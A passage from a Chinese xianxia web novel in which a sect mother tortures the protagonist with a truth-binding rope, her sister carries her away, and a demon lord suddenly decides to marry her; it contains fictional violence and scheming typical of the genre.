疼痛让程今越无法说话,她只能拼命地呼吸着,哭泣着摇头。 “我来替你说,因为你饲养的这些,其实都是魔物,一旦培养长大,便会送回魔界之中。” “你偷习我剑宗的剑法,又传授给这些魔族,壮大他们的实力,目的就是为了毁掉大衍剑宗!” 李从霜越说越激动,她朝锁仙绳施加了法力,剧烈地疼痛席卷而来,捆住程今越的绳子腐蚀掉程今越的衣物,又进而开始腐蚀程今越的肌肤,白皙的肌肤逐渐变得溃烂,鲜血逐渐染红了地面。 “而那日,宾客一出大衍剑宗便遭到了魔族的袭击,定然是你做的,然后嫁祸给蕴知,嫁祸给大衍剑宗!” “程今越,你心思恶毒,其心可诛,说,是不是你做的!” 第二个问题。 她的确有些低估李从霜了,没有想到她竟然对自己有这么大的恶意,明明她已经极力避开李从霜,也保持低调,没有做什么出格的事情。 李从霜猜得很多都已经接近真相了,可惜不是。 她的确知道这件事的真相,她也的确想这些人去死,她也的确想嫁祸给大衍剑宗。 可惜,杀人的是怀钰,跟她有什么关系。 程今越摇摇头,这一次疼得她连话都说不出来。 李从霜看着程今越还没有魂飞魄散,眉眼间露出诧异。 怎么可能? 怎么可能不是程今越做的! 她能做出这样的推断,可是运用了剑宗的法宝,清明笔,一切想问的问题,写下后,清明笔便会写下线索。 明明清明笔写下的名字就是程今越! 看到两次都不是程今越做的,落烟心中微动。 难道说程今越真的是无辜的,难道师父真的误会了程今越。 因为李从霜的影响,李从霜对程今越一直都没有什么好感。 但是程今越做的事,她都是有所耳闻的。 落烟很信面相,什么样的面相的人会做什么样的事,她一直都不会看错。 如今看到程今越这副模样,怎么看都不像是凶手。 她想劝劝李从霜,但李从霜的气焰却越发大,她一把掀翻了桌子,巨大的声音袭来。 “你还在装,你还在装!程今越!” “那我问你,那日寿宴,魔族入侵,可你却偏偏不在场,消失了一整夜,你是不是和魔族联手,狼狈为奸!” 第三个问题落下,程今越心中一震。 李从霜问对了。 她的大脑飞速思考着,她几乎快要无法呼吸。 说是? 这样岂不是坐实了罪名? 绝对不可以! 说不? 但在锁仙绳下说谎,她就魂飞魄散,会死! 该如何抉择? 第42章 她恨这样沉重的爱。 没有时间给程今越思考。 “不是。” 话落的瞬间,程今越听见她骨骼碎裂的脆响,五脏六腑都仿佛被灌入岩浆。 每寸皮肤都爬满金色咒文,细如蛛丝的法咒瞬间如蛇一样咬穿她的魂魄,可刹那之间,仿佛有一道力量将锁仙绳的力量抵消,护住了程今越的魂魄。 她赌赢了。 她的神识可不只是有她自己,她早早就将怀钰的那一滴血融入了自己的体内。 怀钰可以与她神识联系,也能用他的神识护自己的神识。 三个问题问完,锁仙绳渐渐失去力量,每使用一次,它就会进入一段时间的休眠。 身上灼烧的痛感渐渐消失,锁仙绳变成了一根普通的绳子捆在程今越身上。 “不是我,真的不是我,夫人……” “求您放过我吧……” 她泪水如雨下,双眸红肿,泪水与血水融合在一起,身上的衣裳早已变了颜色,黑色长发散落在地上。 她的哭声哀恸,站在身旁的弟子都不忍再去多看一眼程今越,皆皱着眉别开眼。 “怎么可能,怎么可能会这样!” 李从霜难以置信,明明清明笔将这三个问题的线索答案全都指向了程今越,这几乎已经是证据确凿。 百年来,清明笔从未有误! 却怎么会在程今越身上失去效果? 她以为已经抓住了*罪魁祸首。 她每当看到程蕴知的伤,看到其他仙门的人背后对程蕴知议论纷纷,骂程蕴知是个废物,骂她性情古怪,她便心如刀割。 而如今,程望双臂尽失,尚还躺在床上,病痛缠身,精神紊乱,性情更加恶劣,甚至连她这个母亲都不愿意见,她便怒火中烧。 为什么她的一双儿女都成了这样,为什么她的剑宗遭受入侵? 为什么程今越一个没有灵力的废人却能在这样的情况下安然无恙,得到众人崇敬? 程今越身上全是疑点! 其中必然有程今越作鬼,她绝对不信,她绝对不信! 李从霜快要失去理智。 “程今越,你到底用了什么术法,竟然能骗过锁仙绳!” 李从霜大吼着,上去就要抓住程今越的脖子,却被落烟挡住。 “师父,还请冷静!”她急忙道,一把抓住李从霜的手。 李从霜是戏中人,但落烟却是看客,她能看得明白。 落烟与程今越交往不多,对她的认知大多从李从霜的口中得知,其余的便是从其余弟子口中得知。 她本以为程今越是恶人,但是她更愿意相信锁仙绳,更愿意相信事实。 李从霜信誓旦旦想好的三个问题,自诩捉到真凶,却没有想到一个都没中。 锁仙绳是世间名贵的法器,落烟基本可以相信锁仙绳,而李从霜毕竟没有实际的证据。 她瞧着程今越这一副模样,又想起四周师兄妹大多对她颇有好感,常常称赞。 落烟觉得,师父是否是误会了程今越。 毕竟程今越性格如此懦弱,灵力如此低下,这样的事情怎么会跟她有关? 就算是她想做,怕也是有心无力。 落烟相信自己的判断。 “落烟,你也要为她说话吗?”李从霜浑身发抖,她难以置信看着自己一手带大的徒弟。 “师父,程今越现在还不能死,蕴知小姐还需要她的血,剑宗内,追崇她的人不少,若是没有实际的证据,若您动手杀了她,必会招来恶名!” 李从霜冷冷一笑,她摇摇头,“恶名又如何?” 程今越必须要死,她其心不正,狼子野心,心思歹毒,欺骗众生,竟然连落烟都为她说话。 程今越必须死! 如果程今越不死,那么大衍剑宗将后患无穷! 李从霜推开落烟,一剑就朝程今越刺去。 程今越心中一凉。 却见另外一剑抵挡住李从霜,将程今越护在身前。 剑光瞬间摩擦出火花,巨大的灵力冲击发出震耳欲聋的一声,将周围的人都猛烈地向后推着。 程今越抬眸,看到一个熟悉的身影站在她的身前。 她没想过的人。 “娘,你要做什么!” “你疯了?” 程蕴知喘着气,身上连首饰都没戴,她大喘着气,显然是急急忙忙奔来的。 她难以置信地看着李从霜,“你要杀了小越,为什么,我不明白!” 李从霜看着程蕴知,眼中微微诧异,她明明都已经支开了程蕴知,到底是谁给她通风报信的,她一定要将对方碎尸万段! 亲生女儿用剑指着自己,这是李从霜这辈子都没有想过的。 她心中怒气难平,渐渐生了恨。 “程蕴知,你要拦我,我看你真的是胆子大了!” “你为了一个认识不过短短几年的人,向你的母亲动手?” 她自嘲地笑了起来,心中百感交集。 “什么叫认识不过短短几年的人,她是我的亲妹妹,明明是我失散已久的亲妹妹,是你亲生的女儿,你怎么可以说这样的话,你怎么可以……” 程蕴知无法控制自己的情感,眼泪瞬间从她的眼眸中涌出。 只是看到程今越身上全是血的那一刻,她就要疯了。 还没等程蕴知说完话,李从霜瞬间开口打断她。 “亲妹妹?也对,你还不知道真相。” “我今日便告诉你,程今越根本就不是你的亲妹妹,她和你没有任何的血缘关系,她更不是我的血脉。” “她,不过就是一个灵力低下的凡人!” 没有任何犹豫,李从霜一口气说完,她早就想告诉程蕴知真相,但是为了顾及程蕴知的情绪,从来没有向她透露过任何信息。 “你已经知道真相了,让开吧蕴知。”李从霜冷冷的。 程蕴知微微一愣,她看着李从霜,但她又很快地恢复过来,“是啊,不是亲妹妹又怎么样呢?” “又怎么样呢?” “程今越跟我的亲妹妹又有什么区别呢?” “血脉有那种重要吗?” “反正我没有感受到。” 程蕴知已经比李从霜高了,她高高仰起头,看着李从霜。 李从霜觉得有些怒火攻心。 程今越到底有什么魔力,能让所有的人都如此信任她? 程今越根本就是魔! “好,好,好!”李从霜突然笑起来,脸色阴沉恐怖。 “那你把程今越当亲妹妹,那她有将你当亲姐姐吗?”她笑着。 “自然!”程蕴知毫不犹豫。 “错了!”李从霜打断她。 “程蕴知,你才多大,你一直在我和你父亲的羽翼下长大,在大衍剑宗的呵护下长大,你根本什么都不懂。”她胜券在握般地摇摇头。 她笑着。“你知道你的伤为什么好这么快吗?” “你知道为什么用遍天下名药的伤都无法治愈的伤能够即将痊愈吗?” “你知道我们为何要留下程今越吗?你知道大衍剑宗为什么突然多出了一个三小姐吗?” 一连串的问题朝程蕴知抛去,她有些茫然。 但大衍剑宗并不是密不透风的,有人的地方就不会有秘密。 她心跳得很快,她其实也曾猜测过,也有风言风语流进她的耳朵。 但是…… 她不敢去猜,不敢信。 落烟神色惊恐,“师父,别!” 这个消息断然不能告诉程蕴知,程蕴知自生病后,疯病便越发严重,一犯病就要杀人,而程今越来后才勉强治好了程蕴知的病。 而如今,程今越怕是已经成为程蕴知的心病了。 如果将这个消息告诉程蕴知,她不敢想程蕴知会多么疯狂。 就算要告诉,也断然不能是在现在! 但李从霜视若无睹,她已经下定决心。 李从霜指着程蕴知身后的程今越。 “你可以问问你身后的好妹妹。” “问问你每七日喝的神药的用什么做的,问问她每七日要放血为你制药的时候,心中是否恨过你。” “问问她身受重伤也要放血为你制药时是否想杀你,问问她日日虚弱甚至快失血死去时,是否不恨你。” 程蕴知听着李从霜的话,浑身的血液都快要僵住了。 熟悉的药味浮现至喉间,她顿时觉得浑身反胃。 她每七日喝的药都是小越的血做的,怎么可能…… 怎么可能…… 她一边干呕着,一边泪流满面,她神情恍惚,觉得整颗心都好像被挖空了。 她的幸福竟然是建立在小越的痛苦之上的吗? 明明小越对她那么好…… 她后背全是冷汗,她快要无法呼吸。 “你撒谎,你撒谎!” “你骗我!我不信!” “我不信我不信我不信我不信!” 程蕴知拿起手中的剑就朝李从霜砍去,一身的怒意都化作了这一剑。 可实力还没完全恢复的程蕴知并不是李从霜的对手,李从霜没有理会程蕴知的话,她只是继续说着。 “她坐在你身旁为你讲故事的时候,她又有几分真心呢?” “你们在深夜交换真心的时候,她又说了几句真话呢?” “程蕴知,你醒醒吧,程今越就是个彻头彻尾的骗子,她骗了你,骗了我们所有人!” “她一边对你好,心里却是想的如何杀了你,杀了我,杀了你父亲,杀了整个大衍剑宗!” 程蕴知的脸涨得通红,肌肉因为过于用力而微微颤抖,她胸膛剧烈地起伏着,大口大口地喘着粗气。关节因为用力过度而泛白。 程今越与她之间的回忆不断在程蕴知的脑海里浮现,每一句话,每一个拥抱她都记得一清二楚。 是啊,如果这是真的话,程今越肯定恨死她了吧…… 她该如何面对小越,她该怎么办,她是不是再也没有朋友了? 她是不是……再也没有人爱她了? 可是她偏偏不敢回头去问程今越。 她连转头的勇气都没有。 “闭嘴,闭嘴,闭嘴!” “才不是这样的!” 她哭泣着,不能呼吸。 可是李从霜却一把抓住她的肩膀,强迫她转身看着程今越。 程今越虚弱地抬着头,正好和程蕴知对视着。 就像是强迫程蕴知看着痛苦。 “你问她啊。” “程今越,你说啊!” 她不想听,母亲为什么又要这样逼迫她? 程蕴知的情绪在这一刻瞬间爆发出来,她痛哭流涕。 “我辛辛苦苦将你养育得这样大,我为你的病哭了多少日夜。” “而程今越这个陌生人,仅仅出现几年时光,就让你站在了我的对立面!” “程蕴知,你什么时候才能理解我的良苦用心呢?” “我是你的母亲,我会害你吗!” “别说了,别说了,别说了……” 程蕴知宁愿相信这是大梦一场,她已经开始分不清现实和梦境了吧。 她明明握着剑,却感觉整个人都要掉下去。 她明明心是冷的,血液却依旧要沸腾着。 她觉得李从霜对她的爱好沉重,爱得好痛苦。 以至于到了最后,她分不清是爱还是恨。 以至于,现在只剩下沉默与眼泪。 第43章 爱与爱是相互的。 李从霜的手按在程蕴知的肩膀上,强迫着程蕴知看着程今越。 程蕴知看着躺在地上虚弱的程今越,她血流了一地。 红得刺眼,程蕴知感觉自己的心都碎了。 “放开我!” 程蕴知挣脱开李从霜,立马蹲下将程今越抱在怀里,伸手去堵住程今越身上流血的伤口。 她掐了一个咒语,想要愈合程今越的伤,但是程今越身上的伤实在是太多了,她又不擅长愈合术。 堵住一处伤口,另一处伤口又还在渗血,血汩汩地从她的指缝中间渗出。 就像她的悲伤与眼泪一样,止不住地流。 “我没事的,姐姐。”程今越摇摇头,虚弱地笑着。 “程今越,别在这里惺惺作态了,你老实告诉蕴知,我便还能让你体面地去死!” 李从霜催促着,程今越的笑让她觉得恶心,让她反胃,让她现在就想杀了程今越。 听到李从霜的催促,程今越感受到程蕴知握着她的手变得僵硬,她能感受到程蕴知在颤抖。 “不是真的,对面?小越……” 程今越顿了顿,程蕴知的发髻都乱了,她红着眼看着自己,她大口大口喘息着,不断地哭泣着。 程今越心中有些情绪说不清道不明,她觉得程蕴知根本没有必要为她做到这个程度。 她看着程蕴知的泪,像是一团火在冰冷的水面上燃烧着。 她忍不住泛起波澜。 但是,面对现实的时候,眼泪其实是最没用的东西,因为哭是改变不了现实的。 程蕴知紧张着,她此生从来没有这样紧张过,她睁大眼眸看着程今越,期待着从程今越的嘴里听到她想要的答案,但是程今越犹豫着没有开口,她觉得她快不能呼吸。 “是。” “夫人说的是对的。” 程蕴知一下瘫倒在地上,她摇着头,喉咙却嘶哑着,极度的悲伤让她不能开口。 “我并非你的亲生姐妹,你的药也的确是我的血所做。” 她声音沉稳,一字一句地诉说着。 “听到了吗,蕴知,我是不会骗你的。” 李从霜开口,她得意地笑着,心中的气长舒了一口。 “但!”程今越眼神坚定地看着程蕴知。 “我来大衍剑宗是和宗主做了交易,我治好你,他给予我庇佑,这是一桩公平的交易。” “姐姐,你没有必要感到自责,这不是你的错,而且我们所有人都希望你好起来。” 她轻轻抬起手,拭去程蕴知脸上的泪,但是程蕴知的泪怎么也擦不干,一直一直地流着。 “够了。”李从霜打断程今越。 程今越已经没有存在的必要了。 她一剑朝程今越程蕴知刺去。 但程蕴知却毫不犹豫地挡在了程今越的身前。 “让开!” “我不!” “姐姐,你不用难过。” “当然,说不恨是假的,我刚来大衍剑宗的时候,自然是嫉妒你的,我会嫉妒你为什么有那么好的命,为什么我要痛苦地活着。” “但是,和你接触下来,我早早地就喜欢上你了,我怎么会恨你呢,姐姐。” “相反,我特别感谢你,我喜欢和你讲话,喜欢和你分享点点滴滴,喜欢和你分享我的过去。” “我让你闭嘴,程今越!”李从霜朝程今越挥出术法,可又被程蕴知挡住。 程今越眼睛都不眨一下,仍然平静地说着。 “在剑宗,只有你最照顾我,你总是对我那么好,你偏爱我,你在乎我,你总是无条件地信任我,我记得每一个你为我挺身而出的瞬间。” “我的命很贱,不值钱,我在世间苟活了很多年,你的好很珍贵,都记在我的心底。” “爱与爱是相互的,姐姐。” “你爱我,我也爱你。” “我也希望你好起来。” “所以,别为我难过,好吗?” 程蕴知的眼泪更是不值钱地流着,她哭得像个泪人。 “闭嘴,程今越,闭嘴!” “你还在骗人,你还在骗人!” “蕴知,你千万不要相信她,她真的在骗人啊,她真的在骗人,不要相信她!” 李从霜疯狂叫着,她不敢出手,她害怕伤害到程蕴知。 她气得火冒三丈,她想现在就想程今越碎尸万段,这世间怎么会有这样恶毒的人,死到临头了还在说谎! 程蕴知下定了决心,她紧紧地抱住了程今越。 “娘,我是人,我不是物品,我不是任由你掌握的小猫小狗。” “我有我自己的判断,我有我自己的情感,我有心,谁对我好,谁对我真心,我能感受到。” 程今越的笑,程今越手掌的温度,程今越的拥抱,她记忆犹新。 程今越送给她的小东西,给她织的围巾,给她画的画,下雨时偏向她的伞,程蕴知不是傻子,她记得到。 最初她对程今越多有欺负,但程今越总是包容她的任性,不断用时间陪伴着她,无条件地站在她身旁,无论她做了多坏的事情。 她觉得自己窒息的生活得到了喘息,像是阴湿的梅雨天被暖阳晒干了。 就像是最泛滥的诗中写的那样,她得到了太阳。 “娘,我曾经还不够听你的话吗?” “你让我拼命练功,你让我只能第一不能第二,你让我不要丢你的脸,我尽力了,我做到了。” “为了你的认可,为了得到你的笑脸,你让我和其余宗门的贵女结交,我去做了,我违背着我的心去做了。” “你让我不要与没有身世与天赋的人交往,我做了,我一个朋友都没有了。” “我现在只有小越一个朋友了,我现在没有人能够说话了……求求你,放过小越吧!” 她跪在李从霜身前,不断哭着。 “程蕴知,你真的要气死我!”李从霜血液冲上大脑,她觉得自己要气死了。 “我是你的母亲,你为什么不能和我说话呢,你非要相信程今越这个骗子吗?” 李从霜的话落下,四周一片沉默,她愤怒地看着程蕴知。 程蕴知只是微微叹气,垂着头。 “姐姐,没事的,不用担心我。” “剑宗对我有恩,若是没有剑宗,我或许早就死了。” “我不想看到你和夫人有矛盾,夫人其实很爱你。” “我的命本来就是剑宗的,夫人若是想要我死,那我便去死好了。” “今越毫无怨言。” 她坦然着笑着。 却仔仔细细地看着程蕴知脸上的变化。 这些话说出来必然会遭到李从霜的厌恶,但是也没关系了,反正这段关系本来就没有可能修复了,那就让李从霜更恨她吧。 程蕴知还有些犹豫,她需要添柴加火。 说谎,是啊,程今越的确是满嘴谎言。 说谎就是要九分真一分假。 就连程今越自己有时候都不知道自己说的是真是假。 先把自己骗过了才能骗得了别人呀。 时间悄然而逝,气氛沉默得可怕。 一群弟子将程今越与程蕴知围住,落烟站在远处,心中百般不是滋味。 程蕴知抱起程今越,“没什么好说的了。” 她看向李从霜,强忍下眼中的泪。 “那你把程今越杀了吧,如果程今越死了,我马上也去死。” “你杀了小越,我就为她陪葬。” 她又低头看着程今越,“你的命是剑宗的,剑宗是我的,所以你的命也是我的,我让你活你就必须活。” 她用意念控剑,双手抱着浑身是血的程今越。 程今越挡在了她身前很多次,爱是相互的,她记得程今越的话。 “今天我就要带她走,我看谁敢拦我。” “程蕴知,我看你是疯了!” 李从霜握剑的手在颤抖。 为什么会这样,为什么她的两个孩子都是废物,都是蠢货! 而程今越一个毫无灵根的平民,却可以这样聪明,凭什么,凭什么! “对啊,我就是疯了,我早就疯了。” “大家不都说我是精神残疾吗?” 程蕴知冷冷地笑着。 她不顾一切地往前走着,没人敢对她出手,只能象征性地出了几刀,都被程蕴知一剑贯穿。 李从霜没有办法,她做不到对程蕴知出手。 程蕴知只是如今被程今越蒙蔽了而已,没事的没事的。 过一段时间,等程蕴知的情绪稳定下来了,她一定能够懂得自己的良苦用心。 程蕴知怎么会真的为程今越去死,这一定是程蕴知为了威胁她而出口的谎话。 她不信程蕴知能护程今越一辈子,只要趁程蕴知不在,一击将程今越毙命了就好,反正程今越只是一个灵根微弱的凡人。 李从霜的指甲嵌入了指甲,鲜血从她的手掌间流出。 宫殿宽阔,血流了一地,所有人只能目送着程蕴知将程今越抱出宫殿。 她不会放过在场的所有人,她要杀了这些助纣为虐的弟子,她要这些人为小越的伤以命抵罪! 程蕴知一路直直地飞往司医宫,她唤了她见过的此间最好的医者。 小越一直很白,但是她的肌肤上如今却全是溃烂的伤,深能见骨,程蕴知的心好痛,她恨不得自己为程今越挡这些伤。 在路上,程今越微微抬头。 “姐姐,你可以帮我一个忙吗?”她突然开口。 “我肯定帮你的忙啊小越,你别说话,小越,你再说话你会死的。” 程蕴知哭着,她还是没能忍住眼泪,泪水顺着脸庞直下。 “我要姐姐答应我,我才不说话。” “这件事对我真的很重要,我没有信任的人,我只敢让姐姐帮我去做。” 程今越的声音很虚弱,仿佛下一刻就要死去。 “好,我答应你,你说什么我都会答应你的。” “我有一个很重要的东西在我曾经住的地方没有取回,下月十日,风南门,我安排了一个人带你去,你一定要帮我取回。” 程今越最终还是做了这个选择。 她选择顺从自己的本心,因为她根本不是什么菩萨,也不是神佛,她只是一个心脏在跳动的,普通的人。 第44章 “我要娶妻。” “一定要我亲自去吗,小越,如果我不在你身边的话,我母亲肯定不会放过你的,我担心你……” 程蕴知一边抱着程今越,一边哭着。 “别担心,姐姐,我知道母亲的性格,她不过是现在怒在心头,而且有你的诺言,她不会对我下手的。” 程今越说完,口中涌出一大口鲜血。 程蕴知连忙点头,“我知道了,小越,你别说话了,你别说话了,我答应你,我一定会亲自去取的。” 程今越觉得自己的眼皮很重很重,她觉得自己要死了,但是她脑子里的仇恨熊熊燃烧,强撑着她的心脏跳动。 好在程蕴知唤的医修已经到了,在看到程蕴知满脸泪痕的时候,他们的心中就一动,暗道不是什么好解决的事情。 而又看到程今越伤势的那一刻,所有人的心中都不禁为之一震,脸色微变。 程今越身上被锁仙绳折磨得几乎体无完肤,五脏六腑也都在流血,让人根本不敢去想,到底是谁下的手,竟然这样歹毒,这是活生生地想将程今越折磨死。 程蕴知注意到了他们神色的变化,不禁怒气涌上心头,“我告诉你们,你们必须要把小越治好,如果她有任何的差错,你们所有人都得给我去死!” 这下医修更是深吸一口气,他们可知道这位大小姐的脾气,说要去死可不是玩笑话。 想要活下去倒还是简单,只是若是治好了,身上的被锁仙绳留下的疤痕也恐怕难以去除,锁仙绳是神器,世间寻常的药对此伤怕是不能起到作用。 “不对,不只是你们,我的妹妹死了,我就要你们的家人也跟着陪葬!” 四周很嘈杂,程今越觉得自己耳边嗡嗡的,她都快听不清其他人说话了。 她又骗了程蕴知。 但这会是最后一个谎言了。 理智告诉她,她应该把程蕴知也杀了,大衍剑宗上下就不应该留一个活口。 程蕴知知道的实在是太多了,她本来就该去死。 现在程蕴知还护着程今越,是因为程蕴知还不知道真相,如果程蕴知知道了程今越的所作所为,知道她会杀掉她的父母,知道她会毁掉大衍剑宗,知道她们从前说的每一句话都是骗她的,知道她们之间的温存都是利用,都是抱有目的的,知道她的不幸是程今越赐予的。 程蕴知一定会毫不犹豫地杀掉程今越,并且后悔今天做的一切。 程今越不禁有些想笑,怎么会有人这么好骗。 但是不知道为什么,说不清道不明的原因。 程今越选择放走了程蕴知。 提前几天,让孟朝带走程蕴知,所有的事情,程今越都已经安排好了。 等程蕴知回过神的时候,大衍剑宗已经不复存在了。 那个时候,程今越就会在怀钰的帮助下逃离大衍剑宗,程蕴知不会再找到程今越这个人了。 她可能会觉得程今越已经死了,还不明真相地纪念程今越一辈子。 不过更大的可能,她会发现程今越是个骗子,她会慢慢回忆起来过去的一切都是程今越编织的谎言,然后恨她一辈子,然后又痛苦程今越为什么要放她一个人苟活在这个世间,尝遍失去亲人的痛苦。 又或者她会被萧极发现,被斩草除根。 程今越没有考虑程蕴知的想法,也没有为她想好退路,当然,她也没有办法去做这些事情。 剩下的所有,她都管不了。 程今越是个自私的人,她所有的行为都只为满足她的一己私欲,她的利益与想法是这世间唯一的标准。 她现在的想法就是想要程蕴知活下去,她不想程蕴知去死,特别是眼睁睁看着程蕴知去死。 所以她这样做了。 为了保持清醒,她只能一直思考。 她突然想起,平日里,她与程蕴知亲密说话的时候,怀钰总会窜出来阴阳怪气两句。 今天没有听见,倒是有些不习惯。 最后一个问题的时候,程今越选择了撒谎,她本来在那一刻就会死的,但是怀钰抵挡住了锁仙绳的攻击,保护了她的魂魄。 她承认,她做这个选择的时候,十分冒险。 毕竟怀钰是一只魔,反复无常,喜怒无常,用怀钰对她的感情来做赌,实在是过于冒险。 但是程今越一无所有,所以她只能做一个赌徒。 没死的那一刻,程今越心中剧烈的紧张瞬间平缓下来,有一种死后余生的喜悦。 紧接着她立马担心起来怀钰。 怀钰不会被锁仙绳打得魂飞魄散吧? 怀钰现在可不能死,程今越还没有挖出他的灵根,如果他死了,她做到现在的努力都将付诸东流。 但是怀钰可是世间最强的魔种,是魔神,怎么会被一个小小的锁仙绳弄死呢? 他能从众仙下的世间最牢固的封印里活着出来,那必然是有些本事的吧? 如果怀钰被锁仙绳整得脑子更不清楚,甚至有些呆傻就更好了,这样她就可以更轻松地掌控怀钰,更好地夺得灵根。 灵根,灵根,越活着,程今越便越察觉到力量的重要性。 她要变强,她要活下去,她要复仇,她要世间的人都跪在她的身下! 而被程今越“惦记”着的怀钰,在事发之前,尚在魔界规划着他的宏图大业。 魔族三十六城已经被怀钰收复了许久,但是怀钰本来就不是一个擅长做首领的人,他最讨厌的就是和人打交道,他只要和别人说话,他就浑身难受,他就想杀人。 更何况这些人说起话来都是一套一套的,表面一层,背后还有一层,怀钰根本懒得去应付。 要是人人都像程今越一样说话直白一点就好了。 真烦,怎么又想到程今越了,谁要想到她! 尚老三跟在怀钰身旁,看到怀钰今日竟然又一次走神了,这已经是今日第十二次走神了,他从来没有见过怀钰这样心不在焉。 他也完全不能想象,到底是什么样的事情,什么样的人,能让这位魔神在乎和忧愁。 他一句话都不敢多说,只是跟在怀钰屁股后面,笑脸相迎。 但有人的地方就要打交道,这个是无法避免的。 怀钰目前就觉得这个尚老三看起来还算顺眼,刚好尚老三也聪明,能为他解决这些麻烦,所以他干脆给尚老三封了个大官,让这些琐碎的事情都交给尚老三去做。 魔族的人看着尚老三从一个平民,直接成了魔神眼前的红人,众人不禁眼红又艳羡,纷纷巴结尚老三。 尚老三满头大汗,他从来都没有妄想过拥有什么权力,修多深的修为,他只是想把自己的媳妇孩子照顾好,平平安安地过一辈子。 起高楼,楼塌了的故事,他见得太多了,如果可以,他多想做一个普通的人。 但是怀钰喜怒无常,杀人如麻,看谁不顺眼就杀谁。 做事只有一个原则,不服就杀。 谁跟你掰扯,一句话,服不服,不服就去死,别浪费他的时间。 跟人族夺皇位的阴谋诡计全然不同,怀钰不需要动一点脑子,他也不想动一点脑子,当然,他从前也是会动一动,只是跟程今越待一起久了之后,他就习惯了不动脑子,反正程今越很聪明,她会处理好一切,他只需要照做就是了。 有时候他还会故意不照做,因为他知道程今越一定会包容他,他就服个软,程今越就不会生气了。 他不知道这个叫什么。 嗯……好像叫什么,“偏爱”。 他才不会承认他喜欢程今越的偏爱。 事实证明,在绝对的实力碾压前,什么阴谋诡计都是浮云。 一把刀架在脖子上的时候,人就懂得了什么叫做道理,什么叫做王法。 最初刚上任的时候,几乎每天都要死好多人,偏偏没有任何人能够奈何怀钰,所有想要踢馆的人,还没见到怀钰的面就被碎尸万段,连尸骨都没有留下。 尚老三每天都提着心做事,夹着尾巴做人,生怕下一秒死的就是他。 就这样,尚老三一边要讨怀钰的开心,一边还要处理魔族众多的事务,曾经十个人做的事情要他一个人来做,他要挑选新的城主,挑选懂事靠谱的人,还要处理三十六城的琐事,尚老三真的要疯了。 他这一辈子从来没有这么忙过。 但看到妻子和女儿的日子一天比一天好,他就抹抹眼泪,又振作了起来,他要做一个有责任和担当的人,他一定要让家人过上幸福的生活。 尚老三找人做城主,所有的都是次要的,最重要的就是要懂得识人术,晓得洞察人心,明白怀钰心里在想什么,脑子一定要精明。 最开始也有人不服尚老三安排的人,但怀钰一把剑斩掉说话的人之后,所有人都服了。 所以尚老三的管理之路还算顺利。 尚老三把自己的成功经验全都传授给了关门弟子。 成功经验无他,尚老三发现,怀钰有一个十分在乎的女子,常常关心此人的各方各面,拐弯抹角地问他意见。 怀钰隐藏情绪的本领几乎等于没有,对于聪明的尚老三来说,猜中怀钰的此方面心思几乎是世间最简单的事情了。 简直把自己喜欢对方就挂在了脸上。 只要提到此人,顺着怀钰的心思说下去,怀钰就会心情大好。 这就是尚老三的成功秘诀。 怀钰在结束了今日的第十二次走神后,他突然停下脚步,让尚老三吓了个半死。 怀钰深吸了一口气,停顿了好久,他突然下定决心般开口。 “我要娶妻,你给我安排一下。” 这句话一开口,尚老三更是浑身一抖,他大脑瞬间停滞了。 你说谁要娶妻? 第45章 重修过,需要再看。 尚老三一瞬间觉得自己听错了。 君上要娶妻,真的假的? 这位杀人不眨眼,喜怒无常的魔神要娶妻? 尚老三心中天雷滚滚,他觉得这个世界已经疯了,他听到这句话,就好像听到“太阳从西边升起”一样。 虽说震惊,立马堆起笑脸,迅速朝怀钰弯腰拱手,“君上竟要娶妻,这可是天大的喜事啊!” 尚老三直接恭贺,“小的恭喜君上,恭祝君上觅得良人,此等喜事,是我魔族之幸,小的提前祝君上与夫人喜结连理,百年好合,永结同心!” 四周的仆从连忙跟随尚老三的动作,一连串地恭喜怀钰,“恭喜君上!” 怀钰嘴角莫名其妙地就开始上扬,他心情大好。 这些人里,他最顺眼的还是尚老三,他的眼光果然很不错。 尚老三面上想着,他心中却不禁冒出冷汗。 说是要娶妻,但人家真的愿意吗? 尚老三回忆起怀钰做的桩桩件件,性情恶劣,反复无常,暴虐嗜杀,有时甚至觉得他不能听懂人话,不能进行正常的沟通。 正常的姑娘真的能受得了*这位魔君吗? 但是尚老三转念一想,自己在魔君手底下做事,自己如今的荣耀都是君上赐予的,他自然要为他们魔君说话。 尚老三觉得,其实怀钰除了性格方面有些恶劣,其余地方并不是没有可取之处。 怀钰几乎是天才,是尚老三见过天赋最为逆天之人,魔族三十六城的秘籍落到怀钰手中不过几天,怀钰便已经掌握得炉火纯青,怀钰觉得各族献给他的剑不行,他便自行看书锻造了一柄神剑,就连族中剑道超群的长老看了也瞠目结舌。 光是这些武力方面的东西也就算了,最让尚老三惊讶的,是他发现怀钰竟然会做衣服和簪子。 那日君上大人深更半夜回到魔界,唤他去殿中。 尚老三提心吊胆,把他最近干过的事情全部想了一遍,连遗言都已经吩咐下去了。 结果怀钰却犹犹豫豫地开口,支支吾吾了半天,才问他,“你觉得……什么样的衣服款式适合女子。” “嗯……大概是,菩萨一般的女子……” 尚老三当然不知道,于是他唤来魔界中赫赫有名的裁缝。 结果所有人就在一旁跪着,看着怀钰为这位女子做衣裳,时而沉浸,时而发疯,时而发出怪叫,捧着那身衣服猛烈地吸着,仿佛衣裳上已经沾染上了女子的香气。 此衣精美绝伦,若是宫中裁缝联合做一个月方才能做出如此效果。 无论各方面都是顶尖的天才,尚老三实在不懂是什么样的女子能驯服魔神。 别的不说,君上大人对这位姑娘倒是格外上心,他只需要问些问题便能开始操办婚事。 他笑着,“敢问君上大人,夫人姓甚名谁,家住何方,生辰八字多少,这样小人才好准备。” 说起程今越,怀钰脸上变得痴迷起来,他嘴上的笑几乎无法止住,“她叫程今越。” “家住……” 怀钰脸上的笑容瞬间凝滞。 他好像不知道程今越真正的家住在什么地方,程今越没告诉他。 她现在住在大衍剑宗,但是剑宗没几天就要亡了。 “她过段时间就没有家了,先不管这个。” 尚老三脸上的笑有些僵硬。 该不会是要强取豪夺别人,顺便把姑娘家人都杀了? “生辰八字?” 他也愣住了。 程今越没告诉他啊。 尚老三瞬间明白了,别人根本就不喜欢怀钰,这些重要的信息一项没告诉怀钰,果然是单相思。 他知道这样下去可不好,连忙笑着换了个问题,“其实这些并不重要,不过是些繁文缛节罢了,只要夫人喜欢什么,我们就怎么办就好了!” 怀钰点点头,随即在大脑里开始搜刮起来。 “她喜欢什么?” 怀钰从初识开始回忆,把程今越和他的过往全部想了个遍。 “她喜欢什么呢?” “嘻嘻……” 尚老三看着怀钰脸上的笑变得疯狂,怀钰高兴地一剑杀掉眼前跪着的一个随从。 